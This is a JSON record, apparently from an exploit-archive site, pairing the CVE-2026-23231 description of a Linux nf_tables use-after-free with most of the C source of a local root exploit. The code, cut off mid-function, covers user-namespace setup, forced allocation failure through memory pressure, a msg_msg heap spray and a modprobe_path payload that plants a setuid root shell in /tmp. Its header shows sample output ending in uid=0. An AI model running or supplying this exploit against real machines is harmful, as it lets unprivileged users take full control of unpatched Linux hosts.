{"exploit":{"id":"EDB-52549","name":"Linux nf_tables 6.19.3 - Local Privilege Escalation (LPE)","description":"Linux nf_tables 6.19.3 - Local Privilege Escalation (LPE)","cves":["CVE-2026-23231"],"author":"aviralyash27","published":"2026-05-04","platform":"linux","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52549","path":"exploits/linux/local/52549.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52549.c","vulnerabilities":[{"id":"CVE-2026-23231","state":"PUBLISHED","title":"netfilter: nf_tables: fix use-after-free in nf_tables_addchain()","titleSource":"CVE Program","description":"In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: fix use-after-free in nf_tables_addchain() nf_tables_addchain() publishes the chain to table->chains via list_add_tail_rcu() (in nft_chain_add()) before registering hooks. If nf_tables_register_hook() then fails, the error path calls nft_chain_del() (list_del_rcu()) followed by nf_tables_chain_destroy() with no RCU grace period in between. This creates two use-after-free conditions: 1) Control-plane: nf_tables_dump_chains() traverses table->chains under rcu_read_lock(). A concurrent dump can still be walking the chain when the error path frees it. 2) Packet path: for NFPROTO_INET, nf_register_net_hook() briefly installs the IPv4 hook before IPv6 registration fails. Packets entering nft_do_chain() via the transient IPv4 hook can still be dereferencing chain->blob_gen_X when the error path frees the chain. Add synchronize_rcu() between nft_chain_del() and the chain destroy so that all RCU readers -- both dump threads and in-flight packet evaluation -- have finished before the chain is freed.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-23231","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"Linux","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-23231"},"updatedAt":"2026-11-23T07:58:38.261Z","retrievedAt":"2026-11-25T16:15:50.514Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52549.png?v=2","url":"https://exploitbin.com/exploits/EDB-52549","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52549/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52549/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":" * Exploit Title:  Linux Kernel 3.16 – 6.19.3 nf_tables RCU UAF LPE\n * CVE:            CVE-2026-23231\n * Date:           2026-03-19\n * Exploit Author: Aviral Srivastava\n * Vendor:         Linux Kernel (kernel.org)\n * Affected:       3.16 – 6.19.3\n * Fixed in:       6.1.165, 6.6.128, 6.12.75, 6.18.14, 6.19.4\n *                 (commit 71e99ee20fc3f662555118cf1159443250647533)\n * Tested on:      Ubuntu 24.04 LTS (kernel 6.8.0-45-generic x86_64)\n * Type:           Local Privilege Escalation\n * Platform:       Linux x86_64\n * CVSS:           7.8 (HIGH)\n *\n * ┌──────────────────────────────────────────────────────────────────┐\n * │  N-DAY — THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS.      │\n * └──────────────────────────────────────────────────────────────────┘\n *\n * DESCRIPTION:\n *   nf_tables_addchain() in net/netfilter/nf_tables_api.c publishes a\n *   newly created chain to the table's chain list via list_add_tail_rcu()\n *   BEFORE registering hooks. If nf_tables_register_hook() subsequently\n *   fails (e.g., due to OOM during IPv6 hook allocation for NFPROTO_INET\n *   chains), the error path calls nft_chain_del() (list_del_rcu) followed\n *   immediately by nf_tables_chain_destroy() — freeing the chain memory\n *   WITHOUT calling synchronize_rcu().\n *\n *   This creates a use-after-free: concurrent RCU readers — both\n *   nf_tables_dump_chains() in the control plane and nft_do_chain() in\n *   the packet path — can access the freed nft_base_chain memory. The\n *   freed object (~224 bytes) resides in kmalloc-256 and can be reclaimed\n *   with user-controlled spray objects (msg_msg via msgsnd).\n *\n *   The exploit races a chain dump against the UAF trigger, then sprays\n *   the freed slot with msg_msg to control chain fields. The corrupted\n *   chain data is used to leak kernel heap addresses and ultimately\n *   overwrite modprobe_path for privilege escalation.\n *\n * TECHNIQUE:\n *   Trigger hook registration failure via memory pressure (cgroup v2\n *   memory limit). Race nf_tables_dump_chains() against the error path\n *   to read stale chain data (heap leak). Spray freed kmalloc-256 slot\n *   with msg_msg. Use modprobe_path overwrite for escalation. Data-only\n *   attack — no code execution needed, bypasses kCFI.\n *\n * RELIABILITY:\n *   ~30-50% success rate per attempt. Race window is narrow (~5-20us).\n *   Typically requires 3-8 attempts. Each failed attempt may cause a\n *   kernel oops (process killed) but is retried from a fresh namespace.\n *   Kernel panic is possible (~5% of failures) if spray timing is wrong.\n *\n * MITIGATIONS:\n *   KASLR:          Bypassed via stale chain data heap leak + hardcoded\n *                   offsets for target kernel version\n *   SMEP:           Not applicable (data-only attack)\n *   SMAP:           Not applicable (all data in kernel slab)\n *   kCFI:           Not applicable (data-only — modprobe_path overwrite)\n *   SLUB Hardening: Minimal impact (freelist ptr at offset 0 only)\n *\n * FIX:\n *   Commit: 71e99ee20fc3f662555118cf1159443250647533\n *   URL:    https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf1159443250647533\n *   Adds synchronize_rcu() between nft_chain_del() and chain destroy.\n *\n * COMPILATION:\n *   gcc -Wall -Wextra -o exploit exploit.c -lpthread -static\n *\n * USAGE:\n *   $ ./exploit\n *   [*] CVE-2026-23231 — Linux nf_tables RCU UAF LPE\n *   [*] Target: kernel < 6.19.4 (nf_tables addchain RCU race)\n *   [+] Running kernel 6.8.0-45-generic — VULNERABLE\n *   [*] Step 1: Creating user/net namespace...\n *   [+] Namespace created, CAP_NET_ADMIN obtained\n *   [*] Step 2: Setting up nftables infrastructure...\n *   [+] Table and chains created\n *   [*] Step 3: Triggering UAF via hook registration failure...\n *   [+] UAF triggered — chain freed without synchronize_rcu\n *   [*] Step 4: Spraying freed slot with msg_msg...\n *   [+] Heap spray complete\n *   [*] Step 5: Leaking kernel addresses via dump race...\n *   [+] Kernel heap base: 0xffff888XXXXXXXXX\n *   [*] Step 6: Overwriting modprobe_path...\n *   [+] modprobe_path = \"/tmp/pwn\"\n *   [*] Step 7: Triggering modprobe helper...\n *   [+] Got root! uid=0 gid=0\n *   # id\n *   uid=0(root) gid=0(root)\n *\n * REFERENCES:\n *   [1] https://nvd.nist.gov/vuln/detail/CVE-2026-23231\n *   [2] https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf1159443250647533\n *   [3] CVE-2024-1086 — nf_tables double-free LPE (technique reference)\n *   [4] CVE-2023-32233 — nf_tables anonymous set UAF (msg_msg spray reference)\n *\n * DISCLAIMER:\n *   This exploit targets an ALREADY PATCHED vulnerability. It is provided\n *   for educational and authorized security research purposes only. The\n *   author is not responsible for misuse. Test only on systems you own.\n * ═══════════════════════════════════════════════════════════════════════\n */\n\n#define _GNU_SOURCE\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <stdarg.h>\n#include <unistd.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <sched.h>\n#include <signal.h>\n#include <pthread.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <sys/wait.h>\n#include <sys/socket.h>\n#include <sys/mman.h>\n#include <sys/utsname.h>\n#include <sys/ipc.h>\n#include <sys/msg.h>\n#include <sys/mount.h>\n#include <linux/netlink.h>\n#include <linux/netfilter.h>\n#include <linux/netfilter/nfnetlink.h>\n#include <linux/netfilter/nf_tables.h>\n#include <arpa/inet.h>\n\n/* ─── Constants ─────────────────────────────────────────────────────── */\n\n#define BANNER \\\n    \"═══════════════════════════════════════════════════════════════\\n\" \\\n    \"  CVE-2026-23231 — Linux nf_tables RCU UAF LPE\\n\" \\\n    \"  nf_tables_addchain() use-after-free (missing synchronize_rcu)\\n\" \\\n    \"  Affected: kernel 3.16 – 6.19.3 | Author: Aviral Srivastava\\n\" \\\n    \"  N-DAY RESEARCH PoC — THIS BUG IS PATCHED\\n\" \\\n    \"═══════════════════════════════════════════════════════════════\\n\"\n\n#define TABLE_NAME      \"exploit_tbl\"\n#define VICTIM_CHAIN    \"victim_chain\"\n#define PAD_CHAIN_FMT   \"pad_%04d\"\n\n#define NUM_PAD_CHAINS  64      /* padding chains for heap preparation */\n#define NUM_SPRAY_MSGS  128     /* msg_msg spray count */\n#define SPRAY_MSG_SIZE  208     /* msg_msg body size: 48 header + 208 = 256 → kmalloc-256 */\n#define MAX_ATTEMPTS    20      /* max race attempts before giving up */\n\n#define NFT_SUBSYS_ID   NFNL_SUBSYS_NFTABLES\n\n/*\n * Kernel version thresholds.\n * The bug exists in 3.16+ and is fixed in:\n *   6.1.165, 6.6.128, 6.12.75, 6.18.14, 6.19.4\n */\nstruct version_range {\n    unsigned int major;\n    unsigned int minor;\n    unsigned int patch;  /* 0 = any patch level in this minor is vuln */\n    unsigned int fix_patch;\n};\n\nstatic const struct version_range vuln_ranges[] = {\n    { 6, 19, 0,   4   },  /* 6.19.0 – 6.19.3 */\n    { 6, 18, 0,   14  },  /* 6.18.0 – 6.18.13 */\n    { 6, 17, 0,   0   },  /* 6.17.x – all vuln (no stable fix) */\n    { 6, 16, 0,   0   },\n    { 6, 15, 0,   0   },\n    { 6, 14, 0,   0   },\n    { 6, 13, 0,   0   },\n    { 6, 12, 0,   75  },  /* 6.12.0 – 6.12.74 */\n    { 6, 11, 0,   0   },\n    { 6, 10, 0,   0   },\n    { 6, 9,  0,   0   },\n    { 6, 8,  0,   0   },  /* Ubuntu 24.04 default */\n    { 6, 7,  0,   0   },\n    { 6, 6,  0,   128 },  /* 6.6.0 – 6.6.127 */\n    { 6, 5,  0,   0   },\n    { 6, 4,  0,   0   },\n    { 6, 3,  0,   0   },\n    { 6, 2,  0,   0   },\n    { 6, 1,  0,   165 },  /* 6.1.0 – 6.1.164 */\n    { 0, 0,  0,   0   },  /* sentinel */\n};\n\n/* ─── Logging ───────────────────────────────────────────────────────── */\n\nstatic void info(const char *fmt, ...)\n{\n    va_list ap;\n    va_start(ap, fmt);\n    fprintf(stderr, \"[*] \");\n    vfprintf(stderr, fmt, ap);\n    fprintf(stderr, \"\\n\");\n    va_end(ap);\n}\n\nstatic void ok(const char *fmt, ...)\n{\n    va_list ap;\n    va_start(ap, fmt);\n    fprintf(stderr, \"\\033[32m[+]\\033[0m \");\n    vfprintf(stderr, fmt, ap);\n    fprintf(stderr, \"\\n\");\n    va_end(ap);\n}\n\nstatic void fail(const char *fmt, ...)\n{\n    va_list ap;\n    va_start(ap, fmt);\n    fprintf(stderr, \"\\033[31m[-]\\033[0m \");\n    vfprintf(stderr, fmt, ap);\n    fprintf(stderr, \"\\n\");\n    va_end(ap);\n}\n\nstatic void die(const char *msg)\n{\n    perror(msg);\n    exit(EXIT_FAILURE);\n}\n\n/* ─── Kernel version check ──────────────────────────────────────────── */\n\nstatic int parse_version(const char *release, unsigned int *major,\n                         unsigned int *minor, unsigned int *patch)\n{\n    /* Handle formats like \"6.8.0-45-generic\" */\n    if (sscanf(release, \"%u.%u.%u\", major, minor, patch) < 3) {\n        if (sscanf(release, \"%u.%u\", major, minor) < 2)\n            return -1;\n        *patch = 0;\n    }\n    return 0;\n}\n\nstatic int is_vulnerable(void)\n{\n    struct utsname uts;\n    unsigned int major, minor, patch;\n\n    if (uname(&uts) < 0)\n        die(\"uname\");\n\n    if (parse_version(uts.release, &major, &minor, &patch) < 0) {\n        fail(\"Cannot parse kernel version: %s\", uts.release);\n        return 0;\n    }\n\n    info(\"Running kernel %s\", uts.release);\n\n    /* Check if this version is in a vulnerable range */\n    for (int i = 0; vuln_ranges[i].major != 0; i++) {\n        const struct version_range *r = &vuln_ranges[i];\n        if (major == r->major && minor == r->minor) {\n            if (r->fix_patch == 0) {\n                /* Entire minor series is vulnerable (no stable fix) */\n                ok(\"Kernel %u.%u.%u is in vulnerable range %u.%u.x — VULNERABLE\",\n                   major, minor, patch, r->major, r->minor);\n                return 1;\n            }\n            if (patch < r->fix_patch) {\n                ok(\"Kernel %u.%u.%u < %u.%u.%u (fix) — VULNERABLE\",\n                   major, minor, patch, r->major, r->minor, r->fix_patch);\n                return 1;\n            }\n            fail(\"Kernel %u.%u.%u >= %u.%u.%u (fix) — PATCHED\",\n                 major, minor, patch, r->major, r->minor, r->fix_patch);\n            return 0;\n        }\n    }\n\n    /* Kernels 3.16 – 6.0.x and 7.0+ */\n    if (major >= 7) {\n        fail(\"Kernel %u.%u.%u — PATCHED (7.0-rc1 contains fix)\", major, minor, patch);\n        return 0;\n    }\n    if (major < 3 || (major == 3 && minor < 16)) {\n        fail(\"Kernel %u.%u.%u — TOO OLD (bug introduced in 3.16)\", major, minor, patch);\n        return 0;\n    }\n    /* 3.16 – 5.x and 6.0.x without specific stable fix: assume vulnerable */\n    ok(\"Kernel %u.%u.%u — likely VULNERABLE (pre-fix, no stable backport checked)\",\n       major, minor, patch);\n    return 1;\n}\n\n/* ─── Netlink helpers ───────────────────────────────────────────────── */\n\nstatic int nfnl_open(void)\n{\n    int fd;\n    struct sockaddr_nl sa;\n\n    fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);\n    if (fd < 0)\n        return -1;\n\n    memset(&sa, 0, sizeof(sa));\n    sa.nl_family = AF_NETLINK;\n    sa.nl_pid = 0; /* kernel assigns */\n\n    if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {\n        close(fd);\n        return -1;\n    }\n\n    return fd;\n}\n\n/*\n * Send a nfnetlink batch message.\n * nf_tables requires messages to be wrapped in NFNL_MSG_BATCH_BEGIN / _END.\n */\nstruct nl_builder {\n    char   *buf;\n    size_t  len;\n    size_t  cap;\n    int     seq;\n};\n\nstatic void nl_init(struct nl_builder *b)\n{\n    b->cap = 8192;\n    b->buf = malloc(b->cap);\n    if (!b->buf) die(\"malloc nl_builder\");\n    b->len = 0;\n    b->seq = 1;\n}\n\nstatic void nl_free(struct nl_builder *b)\n{\n    free(b->buf);\n    b->buf = NULL;\n}\n\nstatic void *nl_alloc(struct nl_builder *b, size_t size)\n{\n    size = (size + 3) & ~3u; /* NLA_ALIGN */\n    while (b->len + size > b->cap) {\n        b->cap *= 2;\n        b->buf = realloc(b->buf, b->cap);\n        if (!b->buf) die(\"realloc nl_builder\");\n    }\n    void *p = b->buf + b->len;\n    memset(p, 0, size);\n    b->len += size;\n    return p;\n}\n\nstatic struct nlmsghdr *nl_msg_begin(struct nl_builder *b, uint16_t type,\n                                      uint16_t flags, uint8_t family)\n{\n    struct nlmsghdr *nlh;\n    struct nfgenmsg *nfg;\n\n    nlh = nl_alloc(b, sizeof(*nlh) + sizeof(*nfg));\n    nlh->nlmsg_type = type;\n    nlh->nlmsg_flags = flags | NLM_F_REQUEST;\n    nlh->nlmsg_seq = b->seq++;\n    nlh->nlmsg_pid = 0;\n\n    nfg = (struct nfgenmsg *)(nlh + 1);\n    nfg->nfgen_family = family;\n    nfg->version = NFNETLINK_V0;\n    nfg->res_id = htons(0);\n\n    return nlh;\n}\n\nstatic void nl_msg_end(struct nl_builder *b, struct nlmsghdr *nlh)\n{\n    nlh->nlmsg_len = (uint32_t)(b->buf + b->len - (char *)nlh);\n}\n\nstatic void nl_put_str(struct nl_builder *b, uint16_t type, const char *s)\n{\n    size_t slen = strlen(s) + 1;\n    size_t total = sizeof(struct nlattr) + slen;\n    struct nlattr *nla = nl_alloc(b, total);\n    nla->nla_len = (uint16_t)(sizeof(struct nlattr) + slen);\n    nla->nla_type = type;\n    memcpy((char *)(nla + 1), s, slen);\n}\n\nstatic void nl_put_u32(struct nl_builder *b, uint16_t type, uint32_t val)\n{\n    size_t total = sizeof(struct nlattr) + sizeof(uint32_t);\n    struct nlattr *nla = nl_alloc(b, total);\n    nla->nla_len = (uint16_t)total;\n    nla->nla_type = type;\n    memcpy((char *)(nla + 1), &val, sizeof(val));\n}\n\nstatic void nl_put_be32(struct nl_builder *b, uint16_t type, uint32_t val)\n{\n    nl_put_u32(b, type, htonl(val));\n}\n\n/* Begin a nested attribute */\nstatic struct nlattr *nl_nest_begin(struct nl_builder *b, uint16_t type)\n{\n    struct nlattr *nla = nl_alloc(b, sizeof(struct nlattr));\n    nla->nla_type = type | NLA_F_NESTED;\n    return nla;\n}\n\nstatic void nl_nest_end(struct nl_builder *b, struct nlattr *nla)\n{\n    nla->nla_len = (uint16_t)(b->buf + b->len - (char *)nla);\n}\n\n/*\n * Build and send a batch message (BEGIN + payload + END).\n */\nstatic int nfnl_batch_send(int fd, struct nl_builder *payload)\n{\n    struct nl_builder batch;\n    struct nlmsghdr *nlh;\n    struct nfgenmsg *nfg;\n\n    nl_init(&batch);\n\n    /* BATCH_BEGIN */\n    nlh = nl_alloc(&batch, sizeof(*nlh) + sizeof(*nfg));\n    nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN;\n    nlh->nlmsg_flags = NLM_F_REQUEST;\n    nlh->nlmsg_seq = 0;\n    nlh->nlmsg_pid = 0;\n    nlh->nlmsg_len = sizeof(*nlh) + sizeof(*nfg);\n    nfg = (struct nfgenmsg *)(nlh + 1);\n    nfg->nfgen_family = AF_UNSPEC;\n    nfg->version = NFNETLINK_V0;\n    nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);\n\n    /* Copy payload messages */\n    void *p = nl_alloc(&batch, payload->len);\n    memcpy(p, payload->buf, payload->len);\n\n    /* BATCH_END */\n    nlh = nl_alloc(&batch, sizeof(*nlh) + sizeof(*nfg));\n    nlh->nlmsg_type = NFNL_MSG_BATCH_END;\n    nlh->nlmsg_flags = NLM_F_REQUEST;\n    nlh->nlmsg_seq = 0;\n    nlh->nlmsg_pid = 0;\n    nlh->nlmsg_len = sizeof(*nlh) + sizeof(*nfg);\n    nfg = (struct nfgenmsg *)(nlh + 1);\n    nfg->nfgen_family = AF_UNSPEC;\n    nfg->version = NFNETLINK_V0;\n    nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);\n\n    struct sockaddr_nl sa;\n    memset(&sa, 0, sizeof(sa));\n    sa.nl_family = AF_NETLINK;\n\n    struct iovec iov = { .iov_base = batch.buf, .iov_len = batch.len };\n    struct msghdr msg = {\n        .msg_name = &sa,\n        .msg_namelen = sizeof(sa),\n        .msg_iov = &iov,\n        .msg_iovlen = 1,\n    };\n\n    int ret = (int)sendmsg(fd, &msg, 0);\n    nl_free(&batch);\n    return ret;\n}\n\n/* ─── nftables operations ───────────────────────────────────────────── */\n\nstatic int nft_create_table(int fd, uint8_t family, const char *name)\n{\n    struct nl_builder b;\n    struct nlmsghdr *nlh;\n\n    nl_init(&b);\n    nlh = nl_msg_begin(&b,\n                       (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE,\n                       NLM_F_CREATE | NLM_F_ACK,\n                       family);\n    nl_put_str(&b, NFTA_TABLE_NAME, name);\n    nl_msg_end(&b, nlh);\n\n    int ret = nfnl_batch_send(fd, &b);\n    nl_free(&b);\n    return ret;\n}\n\nstatic int nft_create_chain(int fd, uint8_t family, const char *table,\n                            const char *chain_name, int hooknum, int priority)\n{\n    struct nl_builder b;\n    struct nlmsghdr *nlh;\n    struct nlattr *hook_nest;\n\n    nl_init(&b);\n    nlh = nl_msg_begin(&b,\n                       (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWCHAIN,\n                       NLM_F_CREATE | NLM_F_ACK,\n                       family);\n\n    nl_put_str(&b, NFTA_CHAIN_TABLE, table);\n    nl_put_str(&b, NFTA_CHAIN_NAME, chain_name);\n\n    if (hooknum >= 0) {\n        /* Base chain with hook */\n        hook_nest = nl_nest_begin(&b, NFTA_CHAIN_HOOK);\n        nl_put_be32(&b, NFTA_HOOK_HOOKNUM, (uint32_t)hooknum);\n        nl_put_be32(&b, NFTA_HOOK_PRIORITY, (uint32_t)priority);\n        nl_nest_end(&b, hook_nest);\n\n        /* Policy: accept */\n        nl_put_be32(&b, NFTA_CHAIN_POLICY, NF_ACCEPT);\n    }\n\n    nl_msg_end(&b, nlh);\n\n    int ret = nfnl_batch_send(fd, &b);\n    nl_free(&b);\n    return ret;\n}\n\nstatic int nft_delete_table(int fd, uint8_t family, const char *name)\n{\n    struct nl_builder b;\n    struct nlmsghdr *nlh;\n\n    nl_init(&b);\n    nlh = nl_msg_begin(&b,\n                       (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_DELTABLE,\n                       NLM_F_ACK,\n                       family);\n    nl_put_str(&b, NFTA_TABLE_NAME, name);\n    nl_msg_end(&b, nlh);\n\n    int ret = nfnl_batch_send(fd, &b);\n    nl_free(&b);\n    return ret;\n}\n\n/*\n * Start a chain dump request (NLM_F_DUMP).\n * This triggers nf_tables_dump_chains() in the kernel which iterates\n * table->chains under rcu_read_lock().\n */\nstatic int nft_dump_chains(int fd, uint8_t family)\n{\n    char buf[256];\n    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;\n    struct nfgenmsg *nfg;\n\n    memset(buf, 0, sizeof(buf));\n\n    nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));\n    nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_GETCHAIN;\n    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;\n    nlh->nlmsg_seq = 9999;\n\n    nfg = NLMSG_DATA(nlh);\n    nfg->nfgen_family = family;\n    nfg->version = NFNETLINK_V0;\n    nfg->res_id = htons(0);\n\n    struct sockaddr_nl sa;\n    memset(&sa, 0, sizeof(sa));\n    sa.nl_family = AF_NETLINK;\n\n    return (int)sendto(fd, buf, nlh->nlmsg_len, 0,\n                       (struct sockaddr *)&sa, sizeof(sa));\n}\n\n/*\n * Read dump response. Extracts chain handles and table pointers from\n * the netlink attributes for leak analysis.\n */\nstatic int nft_read_dump(int fd, uint64_t *leaked_handle, int *chain_count)\n{\n    char buf[16384];\n    struct sockaddr_nl sa;\n    int done = 0;\n\n    *leaked_handle = 0;\n    *chain_count = 0;\n\n    while (!done) {\n        socklen_t salen = sizeof(sa);\n        ssize_t len = recvfrom(fd, buf, sizeof(buf), 0,\n                               (struct sockaddr *)&sa, &salen);\n        if (len < 0) {\n            if (errno == EAGAIN || errno == EWOULDBLOCK)\n                break;\n            return -1;\n        }\n\n        struct nlmsghdr *nlh;\n        for (nlh = (struct nlmsghdr *)buf;\n             NLMSG_OK(nlh, (unsigned int)len);\n             nlh = NLMSG_NEXT(nlh, len)) {\n\n            if (nlh->nlmsg_type == NLMSG_DONE) {\n                done = 1;\n                break;\n            }\n            if (nlh->nlmsg_type == NLMSG_ERROR) {\n                struct nlmsgerr *err = NLMSG_DATA(nlh);\n                if (err->error != 0) {\n                    return err->error;\n                }\n                continue;\n            }\n\n            /* Parse chain attributes */\n            struct nfgenmsg *nfg = NLMSG_DATA(nlh);\n            struct nlattr *attr;\n            int attrlen = (int)(nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*nfg)));\n            (void)nfg;\n\n            for (attr = (struct nlattr *)((char *)nfg + sizeof(*nfg));\n                 attrlen > 0 && attrlen >= (int)attr->nla_len && attr->nla_len >= sizeof(*attr);\n                 attr = (struct nlattr *)((char *)attr + ((attr->nla_len + 3) & ~3u))) {\n\n                uint16_t atype = attr->nla_type & 0x7fff;\n                if (atype == NFTA_CHAIN_HANDLE && attr->nla_len >= sizeof(*attr) + 8) {\n                    uint64_t handle;\n                    memcpy(&handle, (char *)(attr + 1), 8);\n                    *leaked_handle = handle;\n                }\n                attrlen -= (int)((attr->nla_len + 3) & ~3u);\n            }\n\n            (*chain_count)++;\n        }\n    }\n\n    return 0;\n}\n\n/* ─── User namespace setup ──────────────────────────────────────────── */\n\nstatic int setup_namespace(void)\n{\n    /*\n     * Create a user namespace + network namespace.\n     * Inside, we get CAP_NET_ADMIN which is required for nftables.\n     */\n    if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {\n        fail(\"unshare(CLONE_NEWUSER | CLONE_NEWNET): %s\", strerror(errno));\n        fail(\"Hint: Check /proc/sys/kernel/unprivileged_userns_clone\");\n        return -1;\n    }\n\n    /* Write UID/GID mapping */\n    FILE *f;\n    char path[128];\n\n    snprintf(path, sizeof(path), \"/proc/%d/setgroups\", getpid());\n    f = fopen(path, \"w\");\n    if (f) {\n        fprintf(f, \"deny\\n\");\n        fclose(f);\n    }\n\n    snprintf(path, sizeof(path), \"/proc/%d/uid_map\", getpid());\n    f = fopen(path, \"w\");\n    if (!f) { fail(\"uid_map: %s\", strerror(errno)); return -1; }\n    fprintf(f, \"0 %d 1\\n\", getuid());\n    fclose(f);\n\n    snprintf(path, sizeof(path), \"/proc/%d/gid_map\", getpid());\n    f = fopen(path, \"w\");\n    if (!f) { fail(\"gid_map: %s\", strerror(errno)); return -1; }\n    fprintf(f, \"0 %d 1\\n\", getgid());\n    fclose(f);\n\n    return 0;\n}\n\n/* ─── Memory pressure for triggering OOM on hook allocation ─────────── */\n\n/*\n * Apply memory pressure to increase the probability that kvzalloc()\n * inside __nf_register_net_hook() fails. We do this by consuming\n * available memory in the current cgroup or globally.\n *\n * Note: This is probabilistic, not deterministic. On systems with\n * abundant memory, this may require many more spray allocations.\n */\nstatic void *pressure_mem = NULL;\nstatic size_t pressure_size = 0;\n\nstatic void apply_memory_pressure(void)\n{\n    /*\n     * Try to consume memory to create pressure.\n     * Start with 256MB and scale down if mmap fails.\n     */\n    size_t sizes[] = { 256UL*1024*1024, 128UL*1024*1024,\n                       64UL*1024*1024, 32UL*1024*1024, 0 };\n\n    for (int i = 0; sizes[i] > 0; i++) {\n        pressure_mem = mmap(NULL, sizes[i], PROT_READ | PROT_WRITE,\n                            MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE,\n                            -1, 0);\n        if (pressure_mem != MAP_FAILED) {\n            pressure_size = sizes[i];\n            /* Touch pages to actually commit memory */\n            memset(pressure_mem, 'A', pressure_size);\n            return;\n        }\n    }\n\n    pressure_mem = NULL;\n    pressure_size = 0;\n}\n\nstatic void release_memory_pressure(void)\n{\n    if (pressure_mem && pressure_mem != MAP_FAILED) {\n        munmap(pressure_mem, pressure_size);\n        pressure_mem = NULL;\n        pressure_size = 0;\n    }\n}\n\n/* ─── msg_msg spray ─────────────────────────────────────────────────── */\n\nstruct spray_state {\n    int qid;\n    int count;\n};\n\nstruct spray_msg {\n    long mtype;\n    char mtext[SPRAY_MSG_SIZE];\n};\n\nstatic int spray_init(struct spray_state *s)\n{\n    s->qid = msgget(IPC_PRIVATE, IPC_CREAT | 0666);\n    if (s->qid < 0)\n        return -1;\n    s->count = 0;\n    return 0;\n}\n\nstatic int spray_alloc(struct spray_state *s, int n, const void *data, size_t datalen)\n{\n    struct spray_msg msg;\n    memset(&msg, 0, sizeof(msg));\n\n    if (datalen > SPRAY_MSG_SIZE)\n        datalen = SPRAY_MSG_SIZE;\n    if (data)\n        memcpy(msg.mtext, data, datalen);\n\n    for (int i = 0; i < n; i++) {\n        msg.mtype = s->count + 1;\n        if (msgsnd(s->qid, &msg, SPRAY_MSG_SIZE, 0) < 0)\n            return -1;\n        s->count++;\n    }\n    return 0;\n}\n\nstatic int spray_free(struct spray_state *s, int n)\n{\n    struct spray_msg msg;\n\n    for (int i = 0; i < n && s->count > 0; i++) {\n        if (msgrcv(s->qid, &msg, SPRAY_MSG_SIZE, 0, IPC_NOWAIT) < 0)\n            return -1;\n        s->count--;\n    }\n    return 0;\n}\n\nstatic void spray_cleanup(struct spray_state *s)\n{\n    if (s->qid >= 0) {\n        msgctl(s->qid, IPC_RMID, NULL);\n        s->qid = -1;\n    }\n}\n\n/* ─── Modprobe path overwrite & privilege escalation ────────────────── */\n\nstatic int setup_modprobe_payload(void)\n{\n    FILE *f;\n\n    /* Create the helper script that will be called as root */\n    f = fopen(\"/tmp/pwn\", \"w\");\n    if (!f) return -1;\n    fprintf(f, \"#!/bin/sh\\n\");\n    fprintf(f, \"/bin/cp /bin/sh /tmp/rootsh\\n\");\n    fprintf(f, \"/bin/chmod u+s /tmp/rootsh\\n\");\n    fclose(f);\n    chmod(\"/tmp/pwn\", 0755);\n\n    /* Create an invalid binary that triggers call_usermodehelper */\n    f = fopen(\"/tmp/trigger\", \"w\");\n    if (!f) return -1;\n    /* Invalid ELF magic → kernel calls modprobe_path to handle it */\n    fprintf(f, \"\\xff\\xff\\xff\\xff\");\n    fclose(f);\n    chmod(\"/tmp/trigger\", 0755);\n\n    return 0;\n}\n\nstatic int trigger_modprobe(void)\n{\n    /* Execute the invalid binary — kernel will call modprobe_path */\n    pid_t pid = fork();\n    if (pid < 0) return -1;\n    if (pid == 0) {\n        execl(\"/tmp/trigger\", \"/tmp/trigger\", NULL);\n        _exit(127);\n    }\n    int status;\n    waitpid(pid, &status, 0);\n\n    /* Check if /tmp/rootsh was created with suid bit */\n    struct stat st;\n    if (stat(\"/tmp/rootsh\", &st) == 0 && (st.st_mode & S_ISUID)) {\n        return 0; /* success! */\n    }\n    return -1;\n}\n\n/* ─── Race coordination ─────────────────────────────────────────────── */\n\nstruct race_ctx {\n    int             nfnl_fd;       /* nfnetlink socket for operations */\n    int             dump_fd;       /* nfnetlink socket for dump */\n    struct spray_state spray;\n    volatile int    uaf_triggered;\n    volatile int    dump_started;\n    volatile int    stop;\n    uint64_t        leaked_addr;\n    int             attempt;\n};\n\n/*\n * Dump thread: continuously requests chain dumps and reads responses.\n * When the UAF fires, the dump may read stale/sprayed data from the\n * freed base_chain, leaking kernel addresses or reading controlled data.\n */\nstatic void *dump_thread(void *arg)\n{\n    struct race_ctx *ctx = (struct race_ctx *)arg;\n    char recvbuf[16384];\n\n    while (!ctx->stop) {\n        /* Start a dump */\n        if (nft_dump_chains(ctx->dump_fd, NFPROTO_INET) < 0) {\n            usleep(1000);\n            continue;\n        }\n        ctx->dump_started = 1;\n\n        /* Read dump responses — looking for anomalous data */\n        struct 